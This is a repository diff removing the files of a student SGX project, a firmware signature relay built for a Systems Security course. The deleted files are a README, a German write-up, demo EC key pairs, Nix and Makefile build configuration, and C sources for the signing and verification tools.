not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<https://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.

View file

@ -1,75 +0,0 @@
# Signature Relay for firmware
Documentation of the Assignment 7 in Systems Security at Ruhr-Universität Bochum.
This is a program, that uses a TEE to build a signature relay to sign firmware with a master key.
For more informationm, read the [project description](doc/abgabe.pdf).
We recommend viewing the [repository](https://git.pfzetto.de/RubNoobs/Systemsicherheit/src/branch/master/Assignment%207%20-%20SGX%20Hands-on) we worked on together at.
## Requirements
You will need the latest version of OpenSSL.
Execute the following command inside the src directory to automatically meet all requirements.
```bash
$ ./setup
```
## Compiling
This project can be compiled for simulation environments or directly on the hardware.
1. **Simulated environment**
In the src directory type the command
```bash
$ make SGX_MODE=SIM
```
2. **Hardware**
In the src directory type the command
```bash
$ make
```
That creates all the necessary objects and binaries to execute.
The executable binary will be `src/signatureproxy`.
## Running
## Running story
To execute an example usage of the project, execute `./simulate` in src directory.
Note, that this will only work, if you sucessfully compiled the project.
## Manual Usage
### Setup
Go to the `src` directory.
Initialize the Enclave keypair by executing:
`./signatureproxy proxysetup -pkey <sealed_proxy_key.bin> > <proxy_public_key.pem>`
### Sign
1. Create employee signature using `./signatureproxy employee -firm <firmware.bin> -ekey <employee_privat_key.pem> > <employee_signature.der>`
This step can also be done using OpenSSL: `openssl dgst -sha256 -sign <employee_private_key.pem> -out <employee_signature.der> -in <firmware.bin>`
2. Use the signature proxy to resign the firmware using `./signatureproxy proxy -pkey <sealed_proxy_key.bin> -epub <employee_public_key.der> -firm <firmware.bin> > <proxy_signature.der>`
The enclave verifies the employee signature and signs the firmware if the signature is valid.
3. Verify signature using `cat <proxy_signature.der> | ./signatureproxy embedded -firm <firmware.bin> -ppub <proxy_public_key.pem>`
This step can also be done using OpenSSL: `openssl dgst -sha256 -verify <proxy_public_key.pem> -signature <proxy-signature.der> <firmware.bin>`
## License
Everything we did ourselves is licensed under the [GNU GPLv3 License](./LICENSE)
## Contributors
- Benjamin Haschka
- Sascha Tommasone
- Paul Zinselmeyer

View file

@ -1,131 +0,0 @@
#let conf(
title: none,
assignmentno: none,
authors: (),
doc
) = {
set page(
paper: "a4",
header: [
#set text(size: 9pt)
#grid(
columns: 3,
gutter: 1fr,
rows: 1,
align(left + horizon, smallcaps(title)),
align(center + horizon, "Assignment-" + assignmentno),
grid(
align: right,
columns: 1,
rows: authors.len(),
row-gutter: 3pt,
..authors.map(author => [
#author
])
)
)
#line(length: 100%)
],
footer: context [
#line(length: 100%)
#set align(center)
#counter(page).display(
"1 / 1",
both: true
)
],
)
set text(
size: 11pt,
font: "DejaVu Serif"
)
doc
}
#show: doc => conf(
title: "System Security",
assignmentno: "7",
authors: (
"Benjamin Haschka",
"Sascha Tommasone",
"Paul Zinselmeyer"
),
doc
)
= Firmware Signatur-Relay in einer TEE
Das Program hat den Zweck, Signaturen die von einzelnen Nutzern über eine Firmware gemacht werden, mit einem permanenten Produktions-Key zu maskieren, ohne, dass der Nutzer diesen kennt.
Dabei wird eine Encalve als Signatur-Relay verwendet.
Die Enclave kann Signaturen über Daten mit einem festen Satz an öffentlichen Schlüsseln, die vertrauenswürdig sind, verifizieren.
Wenn die Signatur gültig ist, entfernt die Enclave die Signatur und erzeugt eine eigene Signatur mit dem Produktions-Key.
#grid(
columns: 2,
figure(
image("correct-signature.png"),
caption: "Valid Signature"
),
figure(
image("unknown-signature.png"),
caption: "Invalid Signature"
)
)
Diese Signatur kann dann mit dem öffentlichen Schlüssel der Enclave, der von außen angefragt werden kann, überprüft werden.
Damit kann der Nutzer seine eigene Signatur mit der Signatur der Enclave maskieren.
Der Schlüssel ist dabei den Nutzern nie bekannt.
Sie haben den Schlüssel nur versiegelt und können ihn der Enclave geben, die den Schlüssel dann entsiegeln und in der vertrauenswürdigen Umgebung verwenden kann.
== Szenario
In diesem Szenario wird ein Unternehmen betrachtet, das Embedded Geräte produziert.
Für die Geräte sollen regelmäßig Updates für die Firmware veröffentlicht werden.
Diese Firmware muss mit einem permanenten Key signiert werden, der in der Produktion der Geräte fest codiert wird.
Ist die Signatur nicht vorhanden, lädt keines der Geräte das Update.
Mitarbeitende, die die Firmware hochladen wollen, müssen also die implementierte Firmware mit dem Produktions-Key signieren.
Wenn sie den Produktions-Key besitzen, bringt das gewissen risiken, z.B.:
- Mitarbeitende können (absichtilich oder nicht) den Schlüssel veröffentlichen
- Mitarbeitende, die nicht mehr in dem Unternehmen arbeiten, können den Key für schlechte Zwecke missbrauchen
Es ist also sinnvoll, wenn die Mitarbeitende den Key nicht kennen. Dazu kann das beschriebene Signatur-Relay verwendet werden.
Die Mitarbeitenden signieren die Firmware vorerst mit ihrem eigenen Key.
Diese Keys sind in das Relay als trusted Keys eingebunden.
Anschließend kann der Mitarbeitende die selbst-signierte Firmware an das Signatur-Relay senden.
Das Relay prüft dann die Gültigkeit der Signatur und schickt, falls gültig, eine eigene Signatur über die Firmware zurück.
Damit kann dann der Mitarbeitende die Firmware an die Embedded Geräte senden, bei Gültigkeit die neue Firmware laden können.
Falls ein Mitarbeitender den eigenen Schlüssel verlieren oder veröffentlichen sollte, besteht in dem Fall auch nicht das Problem, dass der Produktionsschlüssel ungültig wird.
Es kann einfach der Schlüssel des Mitarbeitenden von der Liste der trusted Keys zurückgezogen werden.
Zudem ist es wichtig, dass keine bösartigen Programme auf den Systemen der Mitarbeitenden den Signaturprozess mitbekommen oder gar verändern können.
Aus diesen Gründen ist es in diesem Szenario wichtig, dass das Relay mit all seinen Funktionen besonders geschützt ist.
Dementsprechend sollte es in einer Enclave laufen.
== Details
1. *Key Management*
Das Key Management wird mit der eingebauten `seal` Funktion der Encalve gemacht.
Dabei kann jeder Nutzer eine versiegelte Kopie des Schlüssels behalten, da er damit nichts anfangen kann.
Erst, wenn der Schlüssel in die Enclave kommt und entsiegelt wird, kann der Schlüssel verwendet werden.
2. *Signatur Erstellung*
Die Enclave bietet eine Schnittstelle für Signaturen mit ECDSA an.
Dabei wird die Kurve secp256r1 verwendet.
== Vorteile
Dieses Programm bietet einige Vorteile, unter anderem:
- Nutzern unbekannter Hauptschlüssel
- Vereinfacht das Zurückziehen der Schlüssel
- Sicherheit der Gültigkeit der Firmware

Binary file not shown.

Before

Width:  |  Height:  |  Size: 84 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 67 KiB

View file

@ -1,5 +0,0 @@
-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIH0KXxaw/nRzJU5evlEJQrciYUtfJ16PILWtlA5KKh/koAoGCCqGSM49
AwEHoUQDQgAEduVQXmH1K+ocSSnv0l9PKdC2+xxPQrVyABAYGk+jlo2hugpH8aWk
nfR9cTTOLy6T7ASx3a22S6DftcTz+aZYsg==
-----END EC PRIVATE KEY-----

View file

@ -1,4 +0,0 @@
-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEduVQXmH1K+ocSSnv0l9PKdC2+xxP
QrVyABAYGk+jlo2hugpH8aWknfR9cTTOLy6T7ASx3a22S6DftcTz+aZYsg==
-----END PUBLIC KEY-----

View file

@ -1,5 +0,0 @@
-----BEGIN EC PRIVATE KEY-----
MHcCAQEEICV85UuIaBKQ9yisKQne4i4E3HjB4KysQdqnhnrX8LtLoAoGCCqGSM49
AwEHoUQDQgAE7iz5LravULyrYQgu9rIX7iyUQdi7GTJ63Af/DlIrcpy7UbpWdh0O
h5LGlfaMgQ4pq9ORF8+K3LCUYMqUtS+EjA==
-----END EC PRIVATE KEY-----

View file

@ -1,4 +0,0 @@
-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE7iz5LravULyrYQgu9rIX7iyUQdi7
GTJ63Af/DlIrcpy7UbpWdh0Oh5LGlfaMgQ4pq9ORF8+K3LCUYMqUtS+EjA==
-----END PUBLIC KEY-----

View file

@ -1,5 +0,0 @@
-----BEGIN EC PRIVATE KEY-----
MHcCAQEEINtBCS3yRqZNxO+RPdV2618QVDfhqmXheAQ9G3hMmxLyoAoGCCqGSM49
AwEHoUQDQgAEzkxblxb/svE5kta/IdNs0NQgDk7CO5nBs/LVeiJDz2iiFwERK6u7
oNj36jvwppi3jFmHp7nFNZEzim45DcY7vA==
-----END EC PRIVATE KEY-----

View file

@ -1,4 +0,0 @@
-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEzkxblxb/svE5kta/IdNs0NQgDk7C
O5nBs/LVeiJDz2iiFwERK6u7oNj36jvwppi3jFmHp7nFNZEzim45DcY7vA==
-----END PUBLIC KEY-----

View file

@ -1,27 +0,0 @@
{
"nodes": {
"nixpkgs": {
"locked": {
"lastModified": 1719838683,
"narHash": "sha256-Zw9rQjHz1ilNIimEXFeVa1ERNRBF8DoXDhLAZq5B4pE=",
"owner": "NixOS",
"repo": "nixpkgs",
"rev": "d032c1a6dfad4eedec7e35e91986becc699d7d69",
"type": "github"
},
"original": {
"owner": "NixOS",
"ref": "nixos-24.05",
"repo": "nixpkgs",
"type": "github"
}
},
"root": {
"inputs": {
"nixpkgs": "nixpkgs"
}
}
},
"root": "root",
"version": 7
}

View file

@ -1,50 +0,0 @@
{
description = "SignatureProxy SGX Demo";
inputs = {
nixpkgs.url = "github:NixOS/nixpkgs/nixos-24.05";
};
outputs = { self, nixpkgs, ... }:
let
lastModifiedDate = self.lastModifiedDate or self.lastModified or "19700101";
version = builtins.substring 0 8 lastModifiedDate;
nixpkgsFor = system: import nixpkgs { inherit system; overlays = [ self.overlay ]; };
in
{
overlay = final: prev: with final; {
signatureProxy = stdenv.mkDerivation {
pname = "SignatureProxy";
inherit version;
src = ./src;
buildPhase = ''
make
'';
installPhase = ''
mkdir -p $out/bin
cp signatureproxy $out/bin
cp enclave.signed.so $out/bin
'';
nativeBuildInputs = with pkgs; [
clang
glibc
sgx-sdk
openssl.dev
pkg-config
which
];
env = {
SGX_SDK = pkgs.sgx-sdk;
SGX_MODE = "SIM";
};
};
};
defaultPackage."x86_64-linux" = (nixpkgsFor "x86_64-linux").signatureProxy;
};
}

View file

@ -1,249 +0,0 @@
#
# Copyright (C) 2011-2018 Intel Corporation. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in
# the documentation and/or other materials provided with the
# distribution.
# * Neither the name of Intel Corporation nor the names of its
# contributors may be used to endorse or promote products derived
# from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
#
######## SGX SDK Settings ########
SGX_SDK ?= /opt/intel/sgxsdk
SGX_MODE ?= HW
SGX_ARCH ?= x64
SGX_DEBUG ?= 1
ifeq ($(shell getconf LONG_BIT), 32)
SGX_ARCH := x86
else ifeq ($(findstring -m32, $(CCFLAGS)), -m32)
SGX_ARCH := x86
endif
ifeq ($(SGX_ARCH), x86)
SGX_COMMON_CFLAGS := -m32
SGX_LIBRARY_PATH := $(SGX_SDK)/lib
SGX_ENCLAVE_SIGNER := $(SGX_SDK)/bin/x86/sgx_sign
SGX_EDGER8R := $(SGX_SDK)/bin/x86/sgx_edger8r
else
SGX_COMMON_CFLAGS := -m64
SGX_LIBRARY_PATH := $(SGX_SDK)/lib64
SGX_ENCLAVE_SIGNER := $(SGX_SDK)/bin/x64/sgx_sign
SGX_EDGER8R := $(SGX_SDK)/bin/x64/sgx_edger8r
endif
ifeq ($(SGX_DEBUG), 1)
ifeq ($(SGX_PRERELEASE), 1)
$(error Cannot set SGX_DEBUG and SGX_PRERELEASE at the same time!!)
endif
endif
ifeq ($(SGX_DEBUG), 1)
SGX_COMMON_CFLAGS += -O0 -g
else
SGX_COMMON_CFLAGS += -O2
endif
######## App Settings ########
ifneq ($(SGX_MODE), HW)
Urts_Library_Name := sgx_urts_sim
else
Urts_Library_Name := sgx_urts
endif
App_C_Files := app/main.c app/proxy.c app/proxysetup.c app/employee.c app/util.c app/embedded_device.c
App_Include_Paths := -IInclude -Iapp -I$(SGX_SDK)/include -I/usr/local/openssl-3.3.1/include
App_C_Flags := $(SGX_COMMON_CFLAGS) -fPIC -Wno-attributes $(App_Include_Paths)
# Three configuration modes - Debug, prerelease, release
# Debug - Macro DEBUG enabled.
# Prerelease - Macro NDEBUG and EDEBUG enabled.
# Release - Macro NDEBUG enabled.
ifeq ($(SGX_DEBUG), 1)
App_C_Flags += -DDEBUG -UNDEBUG -UEDEBUG
else ifeq ($(SGX_PRERELEASE), 1)
App_C_Flags += -DNDEBUG -DEDEBUG -UDEBUG
else
App_C_Flags += -DNDEBUG -UEDEBUG -UDEBUG
endif
OPENSSL := -Wl,-Bstatic -L/usr/local/openssl-3.3.1/lib64 -lssl -lcrypto -Wl,-Bdynamic -ldl
App_Link_Flags := $(SGX_COMMON_CFLAGS) -L$(SGX_LIBRARY_PATH) -l$(Urts_Library_Name) -lpthread -lsgx_urts $(OPENSSL)
ifneq ($(SGX_MODE), HW)
App_Link_Flags += -lsgx_uae_service_sim
else
App_Link_Flags += -lsgx_uae_service
endif
App_C_Objects := $(App_C_Files:.c=.o)
App_Name := signatureproxy
######## Enclave Settings ########
ifneq ($(SGX_MODE), HW)
Trts_Library_Name := sgx_trts_sim
Service_Library_Name := sgx_tservice_sim
else
Trts_Library_Name := sgx_trts
Service_Library_Name := sgx_tservice
endif
Crypto_Library_Name := sgx_tcrypto
Enclave_C_Files := enclave/enclave.c
Enclave_Include_Paths := -IInclude -Ienclave -I$(SGX_SDK)/include -I$(SGX_SDK)/include/tlibc -I$(SGX_SDK)/include/libcxx
CC_BELOW_4_9 := $(shell expr "`$(CC) -dumpversion`" \< "4.9")
ifeq ($(CC_BELOW_4_9), 1)
Enclave_C_Flags := $(SGX_COMMON_CFLAGS) -nostdinc -fvisibility=hidden -fpie -ffunction-sections -fdata-sections -fstack-protector
else
Enclave_C_Flags := $(SGX_COMMON_CFLAGS) -nostdinc -fvisibility=hidden -fpie -ffunction-sections -fdata-sections -fstack-protector-strong
endif
Enclave_C_Flags += $(Enclave_Include_Paths)
# To generate a proper enclave, it is recommended to follow below guideline to link the trusted libraries:
# 1. Link sgx_trts with the `--whole-archive' and `--no-whole-archive' options,
# so that the whole content of trts is included in the enclave.
# 2. For other libraries, you just need to pull the required symbols.
# Use `--start-group' and `--end-group' to link these libraries.
# Do NOT move the libraries linked with `--start-group' and `--end-group' within `--whole-archive' and `--no-whole-archive' options.
# Otherwise, you may get some undesirable errors.
Enclave_Link_Flags := $(SGX_COMMON_CFLAGS) -Wl,--no-undefined -nostdlib -nodefaultlibs -nostartfiles -L$(SGX_LIBRARY_PATH) \
-Wl,--whole-archive -l$(Trts_Library_Name) -Wl,--no-whole-archive \
-Wl,--start-group -lsgx_tstdc -lsgx_tcxx -l$(Crypto_Library_Name) -l$(Service_Library_Name) -Wl,--end-group \
-Wl,-Bstatic -Wl,-Bsymbolic -Wl,--no-undefined \
-Wl,-pie,-eenclave_entry -Wl,--export-dynamic \
-Wl,--defsym,__ImageBase=0 -Wl,--gc-sections \
-Wl,--version-script=enclave/enclave.lds \
Enclave_C_Objects := $(Enclave_C_Files:.c=.o)
Enclave_Name := enclave.so
Signed_Enclave_Name := enclave.signed.so
Enclave_Config_File := enclave/enclave.config.xml
ifeq ($(SGX_MODE), HW)
ifeq ($(SGX_DEBUG), 1)
Build_Mode = HW_DEBUG
else ifeq ($(SGX_PRERELEASE), 1)
Build_Mode = HW_PRERELEASE
else
Build_Mode = HW_RELEASE
endif
else
ifeq ($(SGX_DEBUG), 1)
Build_Mode = SIM_DEBUG
else ifeq ($(SGX_PRERELEASE), 1)
Build_Mode = SIM_PRERELEASE
else
Build_Mode = SIM_RELEASE
endif
endif
.PHONY: all run
ifeq ($(Build_Mode), HW_RELEASE)
all: .config_$(Build_Mode)_$(SGX_ARCH) $(App_Name) $(Enclave_Name)
@echo "The project has been built in release hardware mode."
@echo "Please sign the $(Enclave_Name) first with your signing key before you run the $(App_Name) to launch and access the enclave."
@echo "To sign the enclave use the command:"
@echo " $(SGX_ENCLAVE_SIGNER) sign -key <your key> -enclave $(Enclave_Name) -out <$(Signed_Enclave_Name)> -config $(Enclave_Config_File)"
@echo "You can also sign the enclave using an external signing tool."
@echo "To build the project in simulation mode set SGX_MODE=SIM. To build the project in prerelease mode set SGX_PRERELEASE=1 and SGX_MODE=HW."
else
all: .config_$(Build_Mode)_$(SGX_ARCH) $(App_Name) $(Signed_Enclave_Name)
ifeq ($(Build_Mode), HW_DEBUG)
@echo "The project has been built in debug hardware mode."
else ifeq ($(Build_Mode), SIM_DEBUG)
@echo "The project has been built in debug simulation mode."
else ifeq ($(Build_Mode), HW_PRERELEASE)
@echo "The project has been built in pre-release hardware mode."
else ifeq ($(Build_Mode), SIM_PRERELEASE)
@echo "The project has been built in pre-release simulation mode."
else
@echo "The project has been built in release simulation mode."
endif
endif
run: all
ifneq ($(Build_Mode), HW_RELEASE)
@$(CURDIR)/$(App_Name)
@echo "RUN => $(App_Name) [$(SGX_MODE)|$(SGX_ARCH), OK]"
endif
######## App Objects ########
app/enclave_u.c: $(SGX_EDGER8R) enclave/enclave.edl
@cd app && $(SGX_EDGER8R) --untrusted ../enclave/enclave.edl --search-path ../enclave --search-path $(SGX_SDK)/include
@echo "GEN => $@"
app/enclave_u.o: app/enclave_u.c
@$(CC) $(App_C_Flags) -c $< -o $@
@echo "CC <= $<"
app/%.o: app/%.c
@$(CC) $(App_C_Flags) -c $< -o $@
@echo "CC <= $<"
$(App_Name): app/enclave_u.o $(App_C_Objects)
@$(CC) $^ -o $@ $(App_Link_Flags)
@echo "LINK => $@"
.config_$(Build_Mode)_$(SGX_ARCH):
@rm -f .config_* $(App_Name) $(Enclave_Name) $(Signed_Enclave_Name) $(App_C_Objects) app/enclave_u.* $(Enclave_C_Objects) enclave/enclave_t.*
@touch .config_$(Build_Mode)_$(SGX_ARCH)
######## Enclave Objects ########
enclave/enclave_t.c: $(SGX_EDGER8R) enclave/enclave.edl
@cd enclave && $(SGX_EDGER8R) --trusted ../enclave/enclave.edl --search-path ../enclave --search-path $(SGX_SDK)/include
@echo "GEN => $@"
enclave/enclave_t.o: enclave/enclave_t.c
@$(CC) $(Enclave_C_Flags) -c $< -o $@
@echo "CC <= $<"
enclave/%.o: enclave/%.c
@$(CC) $(Enclave_C_Flags) -c $< -o $@
@echo "CC <= $<"
$(Enclave_Name): enclave/enclave_t.o $(Enclave_C_Objects)
@$(CC) $^ -o $@ $(Enclave_Link_Flags)
@echo "LINK => $@"
$(Signed_Enclave_Name): $(Enclave_Name)
@$(SGX_ENCLAVE_SIGNER) sign -key enclave/enclave_private.pem -enclave $(Enclave_Name) -out $@ -config $(Enclave_Config_File)
@echo "SIGN => $@"
.PHONY: clean
clean:
@rm -f .config_* $(App_Name) $(Enclave_Name) $(Signed_Enclave_Name) $(App_C_Objects) app/enclave_u.* $(Enclave_C_Objects) enclave/enclave_t.*

View file

@ -1,143 +0,0 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "util.h"
#include <openssl/sha.h>
#include <openssl/ec.h>
#include <openssl/bn.h>
#include <openssl/err.h>
#include <openssl/evp.h>
#include <openssl/pem.h>
#include <openssl/core_names.h>
#include "embedded_device.h"
#define BUFSIZE 16384
typedef struct {
uint8_t *firmware_path;
uint8_t *public_key_path;
} embedded_device_args;
char *embedded_device_syntax(void) {
return
"embedded mock up implementation of a embedded device\n"
" -ppub <path> file path of the PEM encoded public key of the proxy\n"
" -firm <path> path of to firmware binary\n";
}
/*
* read secp256r1 public key and return it as EVP_PKEY*
*/
static EVP_PKEY *read_public_key(char *public_key_file_path, EVP_PKEY **key) {
if(public_key_file_path == NULL) {
fprintf(stderr, "public_key_file_path is a null pointer!\n");
return NULL;
}
FILE *fd = fopen(public_key_file_path, "rb");
if(fd == NULL) {
fprintf(stderr, "failed to open public key file!\n");
return NULL;
}
*key = PEM_read_PUBKEY(fd, key, NULL, NULL);
fclose(fd);
return *key;
}
/*
* hash the firmware
*/
static void hash_firmware(uint8_t *firmware_path, EVP_MD_CTX **ctx) {
if(firmware_path == NULL) {
fprintf(stderr, "firmware_path is a null pointer!\n");
return;
}
FILE *fd = fopen(firmware_path, "rb");
if(fd == NULL) {
fprintf(stderr, "failed to open firmware!\n");
goto exit;
}
size_t size;
uint8_t buf[BUFSIZE];
while((size = fread(buf, 1, BUFSIZE, fd)) != 0) {
EVP_DigestVerifyUpdate(*ctx, buf, size);
}
exit: fclose(fd);
}
int handle_embedded_device(int argc, char **argv) {
uint8_t status = EXIT_SUCCESS;
embedded_device_args args = {
.firmware_path = NULL,
.public_key_path = NULL
};
// parse parameters
for(int i = 0; i < argc; i += 2) {
if((strcmp(argv[i], "-ppub") == 0) && (argc - i >= 2)) {
args.public_key_path = argv[i+1];
} else if((strcmp(argv[i], "-firm") == 0) && (argc - i >= 2)) {
args.firmware_path = argv[i+1];
} else {
syntax_exit();
}
}
// handle invalid parameters
if((args.firmware_path == NULL) || (args.public_key_path == NULL)) {
fprintf(stderr, "failed to parse arguments");
exit(EXIT_FAILURE);
}
// read the public key of the enclave
// normally, key would be hardcoded during production
EVP_PKEY *key = NULL;
if(read_public_key(args.public_key_path, &key) == NULL) {
fprintf(stderr, "failed to import public key");
status = EXIT_FAILURE;
goto clean;
}
// initialize the context
EVP_MD_CTX *ctx = EVP_MD_CTX_new();
if (EVP_DigestVerifyInit(ctx, NULL, EVP_sha256(), NULL, key) != 1) {
fprintf(stderr, "failed to initialize context\n");
status = EXIT_FAILURE;
goto clean;
}
// read the firmwares signature
uint8_t signature[BUFSIZE] = {0};
size_t signature_size = read(0, signature, BUFSIZE);
if(signature_size < 70) {
fprintf(stderr, "failed to read firmware signature\n");
status = EXIT_FAILURE;
goto clean;
}
// hash the firmware and verify the signature
hash_firmware(args.firmware_path, &ctx);
if (EVP_DigestVerifyFinal(ctx, signature, signature_size) != 1) {
fprintf(stderr, "failed to verify firmware signature or signature invalid\n");
status = EXIT_FAILURE;
}else {
printf("Firmware is valid! Update starts in 5 4 3...\n");
}
// cleanup
clean: ;
if(key != NULL)
EVP_PKEY_free(key);
if(ctx != NULL)
EVP_MD_CTX_free(ctx);
return status;
}

View file

@ -1,23 +0,0 @@
#ifndef EMBEDDED_DEVICE_H
#define EMBEDDED_DEVICE_H
#include <stdint.h>
/*
* @brief getter for embedded subcommand syntax string
*
* @returns null-terminated syntax string
*/
char *embedded_device_syntax(void);
/*
* @brief CLI implementation for the "embedded" subcommand
*
* @param argc number of arguments with command and subcommand stripped
* @param argv arguments with command and subcommand stripped
*
* @returns 0 on success, else error with output on stderr
*/
int handle_embedded_device(int argc, char **argv);
#endif

View file

@ -1,135 +0,0 @@
#include <errno.h>
#include <sgx_urts.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "employee.h"
#include "util.h"
#include <openssl/core_names.h>
#include <openssl/evp.h>
#include <openssl/pem.h>
#define HASH_BYTES 32
#define HASH_CHUNK_BYTES 32
#define KEY_BYTES 32
struct EmployeeArgs {
char* key_path;
char* firmware_path;
};
char* employee_syntax(void) {
return
"employee mock up implementation of the employee binary\n"
" outputs signature on stdout\n"
" WARNING: output is in binary format, may mess up terminal\n"
" -ekey <path> file path of the PEM encoded private key of the employee\n"
" -firm <path> path of the firmware\n";
}
int handle_employee(int argc, char** argv) {
struct EmployeeArgs args = {
NULL,
NULL
};
FILE* key_file = NULL;
uint8_t* firmware_buf;
size_t firmware_len;
EVP_PKEY* key = NULL;
EVP_MD_CTX *mdctx = NULL;
size_t sig_len;
unsigned char* sig = NULL;
/*
* Parse Input
*/
int i = 0;
while(i < argc) {
if(strcmp(argv[i], "-ekey")==0 && argc-i >=2){
args.key_path = argv[i+1];
i += 2;
}else if(strcmp(argv[i], "-firm")==0 && argc-i >=2){
args.firmware_path = argv[i+1];
i += 2;
}else
syntax_exit();
}
if(args.key_path == NULL)
syntax_exit();
